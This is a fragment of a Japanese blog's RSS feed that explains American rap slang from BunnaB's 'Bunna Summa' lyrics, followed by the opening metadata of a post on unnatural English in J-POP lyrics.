<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">dumb、stupid、retarded は全てバカを指すスラング。retarded はNG表現。ラップでは「異常レベル」の意味で使用されがち</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">ice cream girl</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>ice cream girl</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">夏、軽さ、ノリのイメージワード。サマーガール（夏の象徴みたいな女の子）に近いノリ</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">スラング的意味がある言葉ではない。曲中のアウトロ用ニックネーム、キャラ呼び</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">drank</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>drank</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">酒、アルコール</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">動詞 drink の過去形ではなく、ラップや若者スラングでは、酒、アルコールを意味する。歌詞では文法よりもリズムとストリート感や酔っている雰囲気を優先した使用される。1990年代初頭にテキサス州ヒューストンでDJスクリューが創始したヒップホップのDJ技法・リミックス文化『チョップド＆スクリュード文化』に由来。Lil WayneやFuture などが多用</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">thigh</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>thigh</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">太もも</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">歌詞ではショートパンツなどから見える肌の露出を強調するために使用される。legs よりも具体的で、セクシーさや夏らしさを表現するニュアンスを含む</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">booty shorts</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>booty shorts</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">丈が非常に短くヒップラインを強調するショートパンツ</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">夏やビーチ、パーティのファッション文脈で使われる。歌詞では肌見せや自信のあるスタイルを表す言葉として登場</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">regardless</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>regardless</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">～に関係なく、いずれにせよ</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">条件や他人の反応を気にせず行動する強い意志を表す。この歌詞では「どうあれ盛り上がる」という自信やノリを示す表現として使用される</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">put that shit on</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>put that shit on</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">（スラング）スラングで、服装を本気でキメる、スタイルを誇示する</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>put on<br /></strong>〜を着る、〜を身につける</p>
<p><strong>shit</strong> <br />この歌詞では汚い意味ではなく、安物ではない本気の備服、スタイルを強調</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">rock</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>rock</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">（スラング）〜を身につける、〜を着こなす</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">単なる着用ではなく、自信を持って似合っている状態を表す。服装だけでなく、髪型、雰囲気などにも使用可。この歌詞ではファッションやスタイルを誇示する表現として使用されている</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<p><strong>fuck around</strong></p>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>fuck around</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">（スラング）調子に乗って、軽い気持ちで何かをしてしまった</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">後悔や自嘲を含むニュアンスがある。この歌詞では、酔った勢いで元恋人に連絡してしまった状況を表現</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">psycho</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>psycho </strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">（スラング）正気じゃない、ブレーキが外れた</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">この歌詞では医学的な意味はなく、酒やノリによってテンションが振り切れる様子を自嘲的に表している</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:246px;height:auto"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&amp;linkname=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&amp;linkname=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&amp;linkname=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&amp;linkname=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&amp;linkname=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&amp;linkname=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&amp;linkname=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&amp;linkname=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2026%2F02%2F07%2Fbunna-summa-lyrics-translation%2F&#038;title=%E3%80%8EBunna%20Summa%E3%80%8F%E6%AD%8C%E8%A9%9E%E5%92%8C%E8%A8%B3%EF%BD%9CBunnaB%E3%81%AE%E5%A4%8F%E3%83%A9%E3%83%83%E3%83%97%E3%81%A7%E5%AD%A6%E3%81%B6%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E8%8B%A5%E8%80%85%E8%8B%B1%E8%AA%9E" data-a2a-url="https://ffeng.jp/2026/02/07/bunna-summa-lyrics-translation/" data-a2a-title="『Bunna Summa』歌詞和訳｜BunnaBの夏ラップで学ぶアメリカ若者英語"></a></p>The post <a href="https://ffeng.jp/2026/02/07/bunna-summa-lyrics-translation/">『Bunna Summa』歌詞和訳｜BunnaBの夏ラップで学ぶアメリカ若者英語</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/06/29/afterparty/' title='アビゲイル・バーロウ「Afterparty」和訳。アメリカ版 積極的に気に入った男子を二次会に誘う女子の歌'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">アビゲイル・バーロウ「Afterparty」和訳。アメリカ版 積極的に気に入った男子を二次会に誘う女子の歌</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/10/23/edamame/' title='ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/K6BRna4_bmg?si=7qPINKDPW0wVmUid" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/15/talktalk/' title='チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6303</post-id>	</item>
		<item>
		<title>なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地</title>
		<link>https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Wed, 08 Oct 2025 12:00:07 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[CHARISMAX]]></category>
		<category><![CDATA[First Love]]></category>
		<category><![CDATA[J-POP]]></category>
		<category><![CDATA[J-POP市場]]></category>
		<category><![CDATA[ONE OK ROCK]]></category>
		<category><![CDATA[Snow Man]]></category>
		<category><![CDATA[Spotify]]></category>
		<category><![CDATA[Taka]]></category>
		<category><![CDATA[You are always gonna be my love]]></category>
		<category><![CDATA[かつ母語レベル]]></category>
		<category><![CDATA[すごさ]]></category>
		<category><![CDATA[アイドルソング]]></category>
		<category><![CDATA[イティブ]]></category>
		<category><![CDATA[イメージ]]></category>
		<category><![CDATA[オリジナル]]></category>
		<category><![CDATA[カリスマックス]]></category>
		<category><![CDATA[クオリティ]]></category>
		<category><![CDATA[グローバルプレイリスト]]></category>
		<category><![CDATA[シンプル]]></category>
		<category><![CDATA[ジャニーズ出身]]></category>
		<category><![CDATA[スポーツ選手]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[スローガン調]]></category>
		<category><![CDATA[ソングライター]]></category>
		<category><![CDATA[ニューヨーク育ち]]></category>
		<category><![CDATA[ネイティブ]]></category>
		<category><![CDATA[ネイティブが自然だと感じる英語]]></category>
		<category><![CDATA[バイリンガル]]></category>
		<category><![CDATA[プロデューサー]]></category>
		<category><![CDATA[ポップス]]></category>
		<category><![CDATA[マーケティング力]]></category>
		<category><![CDATA[メロディ]]></category>
		<category><![CDATA[メロディとの制約]]></category>
		<category><![CDATA[モーラ]]></category>
		<category><![CDATA[リスナー]]></category>
		<category><![CDATA[リズム]]></category>
		<category><![CDATA[ワンオク]]></category>
		<category><![CDATA[七光り]]></category>
		<category><![CDATA[三位一体]]></category>
		<category><![CDATA[不自然]]></category>
		<category><![CDATA[世界に通じる英語]]></category>
		<category><![CDATA[世界基準]]></category>
		<category><![CDATA[世界市場]]></category>
		<category><![CDATA[佐藤健]]></category>
		<category><![CDATA[余白]]></category>
		<category><![CDATA[作家]]></category>
		<category><![CDATA[作詞家]]></category>
		<category><![CDATA[傾向]]></category>
		<category><![CDATA[共作]]></category>
		<category><![CDATA[共感]]></category>
		<category><![CDATA[国際基準]]></category>
		<category><![CDATA[国際的]]></category>
		<category><![CDATA[応援]]></category>
		<category><![CDATA[応援歌文化]]></category>
		<category><![CDATA[恋愛]]></category>
		<category><![CDATA[意味]]></category>
		<category><![CDATA[意味不明フレーズ]]></category>
		<category><![CDATA[文法]]></category>
		<category><![CDATA[文法エラー]]></category>
		<category><![CDATA[日常]]></category>
		<category><![CDATA[日常英語]]></category>
		<category><![CDATA[日本アーティスト]]></category>
		<category><![CDATA[日本人]]></category>
		<category><![CDATA[日本人がカッコいいと思う英語]]></category>
		<category><![CDATA[普遍的なフレーズ]]></category>
		<category><![CDATA[曖昧さの欠如]]></category>
		<category><![CDATA[正しい文法]]></category>
		<category><![CDATA[母語]]></category>
		<category><![CDATA[比喩]]></category>
		<category><![CDATA[洋楽]]></category>
		<category><![CDATA[海外]]></category>
		<category><![CDATA[海外アーティスト]]></category>
		<category><![CDATA[海外フェス]]></category>
		<category><![CDATA[海外ロック]]></category>
		<category><![CDATA[海外向け]]></category>
		<category><![CDATA[海外展開前提]]></category>
		<category><![CDATA[真面目]]></category>
		<category><![CDATA[第一人者]]></category>
		<category><![CDATA[簡単な英語]]></category>
		<category><![CDATA[羽生結弦]]></category>
		<category><![CDATA[翻訳不可能]]></category>
		<category><![CDATA[自然さ]]></category>
		<category><![CDATA[自然なネイティブ風]]></category>
		<category><![CDATA[自然な英語]]></category>
		<category><![CDATA[芸能界の友人]]></category>
		<category><![CDATA[英語]]></category>
		<category><![CDATA[英語力]]></category>
		<category><![CDATA[英語圏]]></category>
		<category><![CDATA[英語詞]]></category>
		<category><![CDATA[装飾的要素]]></category>
		<category><![CDATA[資金]]></category>
		<category><![CDATA[違和感]]></category>
		<category><![CDATA[違和感ゼロ]]></category>
		<category><![CDATA[難しい英語]]></category>
		<category><![CDATA[雰囲気]]></category>
		<category><![CDATA[雰囲気要素]]></category>
		<category><![CDATA[面白みに欠ける]]></category>
		<category><![CDATA[音数]]></category>
		<category><![CDATA[音節]]></category>
		<category><![CDATA[響き]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=4858</guid>

					<description><![CDATA[<p>最近、リクエストをいただいて、特にSnow Man <a class="mh-excerpt-more" href="https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/" title="なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地">[...]</a></p>
